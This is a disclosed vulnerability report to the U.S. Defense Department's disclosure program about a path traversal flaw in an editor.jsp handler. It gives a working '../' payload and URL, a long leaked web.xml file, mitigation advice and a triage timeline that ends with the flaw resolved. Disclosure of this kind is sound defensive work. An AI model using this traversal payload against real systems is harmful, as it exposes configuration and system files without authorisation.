Path traversal on [redacted]

Share:

State	Resolved (Closed)
Disclosed	October 4, 2019 8:53pm +0530
Reported To	U.S. Dept Of Defense
Weakness	Path Traversal
Severity	High (7 ~ 8.9)
Participants	
Visibility	Disclosed (Full)

Collapse

TIMELINE · EXPORT

twicedi submitted a report to U.S. Dept Of Defense. Mar 31st (3 years ago)

Summary:
The web application hosted on the "[redacted]" domain is affected by a path traversal vulnerability that could permit to an attacker to include arbirtary files that are outside of the restricted directory.

Description:
The affected handler is the "/html/js/editor/editor.jsp".
This handler receives, through the "editorImpl" parameter, an input from the user to construct a pathname that is intended to identify a file, but the web app does not properly neutralize "dot-dot-slash (../)" within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory as showed in the following example in which the web.xml configuration file is included:

Example of payload:

> ../../../WEB-INF/web.xml?

URL:
(Note: the last question mark char ("?") is necessary to exploit the vulnerability otherwise an error is triggered, with a full stacktrace)

```
https://[redacted]/html/js/editor/editor.jsp?editorImpl=../../../WEB-INF/web.xml?
```

```
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Thu, 30 Mar 2017 20:24:43 GMT
Connection: close
Content-Length: 54193


<?xml version="1.0"?>

<web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.4"
    <context-param>
        <param-name>contextClass</param-name>
        <param-value>com.liferay.portal.spring.context.PortalApplicationContext</param-value>
    </context-param>
    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value/>
    </context-param>
    <context-param>
```

```
        <param-name>com.ibm.websphere.portletcontainer.PortletDeploymentEnabled</param-name>
        <param-value>false</param-value>
    </context-param>
    <filter>
        <filter-name>Absolute Redirects Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.absoluteredirects.AbsoluteRedirectsFilter</filter-class>
    </filter>
    <filter>
        <filter-name>Audit Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.audit.AuditFilter</filter-class>
    </filter>
    <filter>
        <filter-name>Auto Login Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.autologin.AutoLoginFilter</filter-class>
    </filter>
    <filter>

[REDACTED...]

    <filter>
        <filter-name>GZip Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.gzip.GZipFilter</filter-class>
    </filter>
    <filter>
        <filter-name>GZip Filter - Theme PNG</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.gzip.GZipFilter</filter-class>
        <init-param>
            <param-name>url-regex-pattern</param-name>
            <param-value>.+/themes/.*/images/.*\.png</param-value>
        </init-param>
    </filter>
    <filter>
        <filter-name>Header Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.header.HeaderFilter</filter-class>
        <init-param>
            <param-name>url-regex-ignore-pattern</param-name>
            <param-value>.+/-/.+</param-value>
        </init-param>
        <init-param>
            <param-name>Cache-Control</param-name>
            <param-value>max-age=315360000, public</param-value>
        </init-param>
        <init-param>
            <param-name>Expires</param-name>
            <param-value>315360000</param-value>
        </init-param>
        <init-param>
            <param-name>Vary</param-name>
            <param-value>Accept-Encoding</param-value>
        </init-param>
    </filter>
    <filter>
        <filter-name>Header Filter - JSP</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.header.HeaderFilter</filter-class>
        <init-param>
            <param-name>url-regex-pattern</param-name>
            <param-value>.+/(barebone|css|everything|main)\.jsp</param-value>
        </init-param>
        <init-param>
            <param-name>Cache-Control</param-name>
            <param-value>max-age=315360000, public</param-value>
```

```
        </init-param>
        <init-param>
            <param-name>Expires</param-name>
            <param-value>315360000</param-value>
        </init-param>
        <init-param>
            <param-name>Vary</param-name>
            <param-value>Accept-Encoding</param-value>
        </init-param>
    </filter>

[REDACTED...]

    <filter>
        <filter-name>Minifier Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.minifier.MinifierFilter</filter-class>
    </filter>
    <filter>
        <filter-name>Minifier Filter - JSP</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.minifier.MinifierFilter</filter-class>
        <init-param>
            <param-name>url-regex-pattern</param-name>
            <param-value>.+/(barebone|css|everything|main)\.jsp</param-value>
        </init-param>
    </filter>
    <filter>
        <filter-name>Monitoring Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.monitoring.MonitoringFilter</filter-class>
    </filter>
    <filter>
        <filter-name>Secure Main Servlet Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.secure.SecureFilter</filter-class>
        <init-param>
            <param-name>portal_property_prefix</param-name>
            <param-value>main.servlet.</param-value>
        </init-param>
    </filter>
    <filter>
        <filter-name>Session Id Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.sessionid.SessionIdFilter</filter-class>
    </filter>
    <filter>
        <filter-name>SSO CAS Filter</filter-name>
        <filter-class>com.liferay.portal.servlet.filters.sso.cas.CASFilter</filter-class>
    </filter>

[REDACTED...]

    <filter-mapping>
        <filter-name>Sharepoint Filter</filter-name>
        <url-pattern>/sharepoint/_vti_bin/_vti_aut/author.dll</url-pattern>
    </filter-mapping>
    <filter-mapping>
        <filter-name>Sharepoint Filter</filter-name>
        <url-pattern>/sharepoint/_vti_bin/owssvr.dll</url-pattern>
    </filter-mapping>
    <filter-mapping>
        <filter-name>SSO CAS Filter</filter-name>
        <url-pattern>/c/portal/login</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
```

```
    </filter-mapping>
    <filter-mapping>
        <filter-name>SSO CAS Filter</filter-name>
        <url-pattern>/c/portal/logout</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
    </filter-mapping>
    <filter-mapping>
        <filter-name>SSO Ntlm Filter</filter-name>
        <url-pattern>/c/portal/login</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
    </filter-mapping>
    <filter-mapping>
        <filter-name>SSO Ntlm Post Filter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

[REDACTED...]

    <filter-mapping>
        <filter-name>Monitoring Filter</filter-name>
        <url-pattern>/user/*</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
    </filter-mapping>
    <filter-mapping>
        <filter-name>Monitoring Filter</filter-name>
        <url-pattern>/web/*</url-pattern>
        <dispatcher>REQUEST</dispatcher>
        <dispatcher>FORWARD</dispatcher>
    </filter-mapping>
    <listener>
        <listener-class>com.liferay.portal.spring.context.PortalContextLoaderListener</listener-class>
    </listener>
    <listener>
        <listener-class>com.liferay.portal.servlet.PortalSessionListener</listener-class>
    </listener>
    <listener>
        <listener-class>com.liferay.portal.kernel.servlet.PortletSessionListenerManager</listener-class>
    </listener>
    <listener>
        <listener-class>com.liferay.portal.kernel.servlet.SerializableSessionAttributeListener</listener-class>
    </listener>
    <listener>
        <listener-class>com.liferay.portal.servlet.SharedSessionAttributeListener</listener-class>
    </listener>
    <servlet>
        <servlet-name>Web Server Servlet</servlet-name>
        <servlet-class>mil.army.lwn.liferay.portal.webserver.WebServerServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet>
        <servlet-name>Main Servlet</servlet-name>
        <servlet-class>com.liferay.portal.servlet.MainServlet</servlet-class>
        <init-param>
            <param-name>config</param-name>
            <param-value>/WEB-INF/struts-config.xml,/WEB-INF/struts-config-ext.xml</param-value>
        </init-param>
        <init-param>
            <param-name>debug</param-name>
```

```
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>detail</param-name>
            <param-value>0</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet>
        <servlet-name>Combo Servlet</servlet-name>
        <servlet-class>com.liferay.portal.servlet.ComboServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet>
        <servlet-name>Display Chart</servlet-name>
        <servlet-class>com.liferay.portal.servlet.DisplayChartServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet>
        <servlet-name>Facebook Servlet</servlet-name>
        <servlet-class>com.liferay.portal.facebook.FacebookServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet>
        <servlet-name>Friendly URL Servlet - Private Group</servlet-name>
        <servlet-class>com.liferay.portal.servlet.FriendlyURLServlet</servlet-class>
        <init-param>
            <param-name>private</param-name>
            <param-value>true</param-value>
        </init-param>
        <init-param>
            <param-name>user</param-name>
            <param-value>false</param-value>
        </init-param>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet>
        <servlet-name>Friendly URL Servlet - Private User</servlet-name>
        <servlet-class>com.liferay.portal.servlet.FriendlyURLServlet</servlet-class>
        <init-param>
            <param-name>private</param-name>
            <param-value>true</param-value>
        </init-param>
        <init-param>
            <param-name>user</param-name>
            <param-value>true</param-value>
        </init-param>
        <load-on-startup>2</load-on-startup>
    </servlet>

[REDACTED...]

    <servlet>
        <servlet-name>XML-RPC Servlet</servlet-name>
        <servlet-class>com.liferay.portal.xmlrpc.XmlRpcServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet>
        <servlet-name>Clean Up Servlet</servlet-name>
        <servlet-class>com.liferay.portal.servlet.CleanUpServlet</servlet-class>
        <load-on-startup>3</load-on-startup>
```

```
    </servlet>
    <servlet-mapping>
        <servlet-name>Main Servlet</servlet-name>
        <url-pattern>/c/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>Combo Servlet</servlet-name>
        <url-pattern>/combo/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>Display Chart</servlet-name>
        <url-pattern>/display_chart/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>Facebook Servlet</servlet-name>
        <url-pattern>/facebook/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>Friendly URL Servlet - Private Group</servlet-name>
        <url-pattern>/group/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>Friendly URL Servlet - Private User</servlet-name>
        <url-pattern>/user/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>Friendly URL Servlet - Public</servlet-name>
        <url-pattern>/web/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>Google Gadget Servlet</servlet-name>
        <url-pattern>/google_gadget/*</url-pattern>
    </servlet-mapping>

[REDACTED...]

    <servlet-mapping>
        <servlet-name>Widget Servlet</servlet-name>
        <url-pattern>/widget/*</url-pattern>
    </servlet-mapping>
    <servlet-mapping>
        <servlet-name>XML-RPC Servlet</servlet-name>
        <url-pattern>/xmlrpc/*</url-pattern>
    </servlet-mapping>
    <session-config>
        <session-timeout>120</session-timeout>
    </session-config>
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>
    <error-page>
        <error-code>404</error-code>
        <location>/errors/404.jsp</location>
    </error-page>
    <jsp-config>
        <taglib>
            <taglib-uri>http://displaytag.sf.net</taglib-uri>
            <taglib-location>/WEB-INF/tld/displaytag.tld</taglib-location>
        </taglib>
        <taglib>
```

```
            <taglib-uri>http://java.sun.com/jsp/jstl/core</taglib-uri>
            <taglib-location>/WEB-INF/tld/c.tld</taglib-location>
        </taglib>
        <taglib>
            <taglib-uri>http://java.sun.com/jsp/jstl/fmt</taglib-uri>
            <taglib-location>/WEB-INF/tld/fmt.tld</taglib-location>
        </taglib>
        <taglib>
            <taglib-uri>http://java.sun.com/jsp/jstl/functions</taglib-uri>
            <taglib-location>/WEB-INF/tld/fn.tld</taglib-location>
        </taglib>

[REDACTED...]

        <taglib>
            <taglib-uri>http://struts.apache.org/tags-tiles</taglib-uri>
            <taglib-location>/WEB-INF/tld/struts-tiles.tld</taglib-location>
        </taglib>
        <taglib>
            <taglib-uri>http://struts.apache.org/tags-tiles-el</taglib-uri>
            <taglib-location>/WEB-INF/tld/struts-tiles-el.tld</taglib-location>
        </taglib>
    </jsp-config>
    <security-constraint>
        <web-resource-collection>
            <web-resource-name>/c/portal/protected</web-resource-name>
            <url-pattern>/c/portal/protected</url-pattern>
            <url-pattern>/ar/c/portal/protected</url-pattern>

[REDACTED...]


            <http-method>GET</http-method>
            <http-method>POST</http-method>
        </web-resource-collection>
        <auth-constraint>
            <role-name>users</role-name>
        </auth-constraint>
        <user-data-constraint>
            <transport-guarantee>NONE</transport-guarantee>
        </user-data-constraint>
    </security-constraint>
    <login-config>
        <auth-method>FORM</auth-method>
        <realm-name>PortalRealm</realm-name>
        <form-login-config>
            <form-login-page>/c/portal/j_login</form-login-page>
            <form-error-page>/c/portal/j_login_error</form-error-page>
        </form-login-config>
    </login-config>
    <security-role>
        <role-name>users</role-name>
    </security-role>
</web-app>
```

Impact

It may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

Step-by-step Reproduction Instructions

1. It's possible to insert a malicious string as the "editorImpl" parameter of the following handler to access files that are outside of the restricted directory: (Note: the last question mark char ("?") is necessary to exploit the vulnerability otherwise an error is triggered, with a full stacktrace)
`https://[redacted]/html/js/editor/editor.jsp?editorImpl=../../../WEB-INF/web.xml?`

Suggested Mitigation/Remediation Actions

It is advisable to:

- Prefer working without user input when using file system calls
- Use indexes rather than actual portions of file names when templating or using language files
- Ensure the user cannot supply all parts of the path – surround it with your path code
- Validate the user's input by only accepting known good – do not sanitize the data
- Use chrooted jails and code access policies to restrict where the files can be obtained or saved to
- If forced to use user input for file operations, normalize the input before using in file io API's

I'm available for further clarification,

Best,
Davide

BOT: U.S. Dept Of Defense posted a comment. Mar 31st (3 years ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

dwarren updated the severity to High. Apr 3rd (3 years ago)

dwarren changed the status to ○ **Triaged**. Apr 3rd (3 years ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

gwassermann posted a comment. Aug 3rd (2 years ago)

Greetings,

We have been advised that the vulnerability you reported has been resolved. Before we close this report, we would appreciate it if you could confirm that the vulnerability no longer exists.

If we do not receive a response within two weeks, we will send you a second request. If we do not receive a response from you within two weeks of the second notice, we will close this report as resolved.

If you do not believe this vulnerability has been effectively resolved or if you have any questions, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

gwassermann posted a comment. Aug 5th (2 years ago)

After further testing, this was determined to not be resolved. We're sending this back for further mitigation work. Thank you for your patience as we work on this ticket.

mqoliver posted a comment. Jan 12th (2 years ago)

Greetings,

We have been advised that the vulnerability you reported has been resolved. Before we close this report, we would appreciate it if you could confirm that the vulnerability no longer exists.

If we do not receive a response within two weeks, we will send you a second request. If we do not receive a response from you within two weeks of the second notice, we will close this report as resolved.

If you do not believe this vulnerability has been effectively resolved or if you have any questions, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

mqoliver posted a comment. Jan 27th (2 years ago)

Greetings,

We previously sent a request asking you to confirm that the vulnerability you reported has been resolved. We would like your confirmation before closing this report.

If we do not receive a response to this second request within two weeks, we will close this report as resolved.

If you do not believe this vulnerability has been effectively resolved or if you have any questions, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

twicedi posted a comment. Jan 27th (2 years ago)

Thanks for the update @mqoliver.

I can confirm that the issue is no longer exploitable.

Best,
Davide

mqoliver closed the report and changed the status to ○ **Resolved**. Jan 30th (2 years ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

twicedi requested to disclose this report. Jan 31st (2 years ago)

Thanks @mqoliver!

Can we disclose it?

Best,
Davide

mqoliver posted a comment. Feb 2nd (2 years ago)

@twicedi I have sent it to the group in charge of publishing. They will get back to you soon with their decision and disclosure conditions. Thank you!

ag3nt-j7 posted a comment. Mar 14th (2 years ago)

@twicedi We are working on a standardized process to disclose DoD Vulnerability Disclosure Program (VDP) reports for our reporters and will follow-up soonest. Pls know that we have this report on the list and you can expect to hear from us once we finalize the process. Thanks again for supporting DoD VDP!

twicedi posted a comment. Mar 17th (2 years ago)

Thanks for the update @ag3nt-j7!

Best,
Davide

twicedi posted a comment. Aug 4th (about 1 year ago)

Is there any news about the disclosure @ag3nt-j7 ?

Thanks in advance!
Best,
Davide

twicedi posted a comment. Mar 19th (7 months ago)

Is there any news about the disclosure @ag3nt-j7 ?

Thanks!
Best,
Davide

deez_nops posted a comment. Mar 19th (7 months ago)

@ag3nt-j1 Can you lend some assistance?

ag3nt-j1 agreed to disclose this report. Oct 4th (7 days ago)

This report has been disclosed. Oct 4th (7 days ago)

U.S. Dept Of Defense has locked this report. Oct 4th (7 days ago)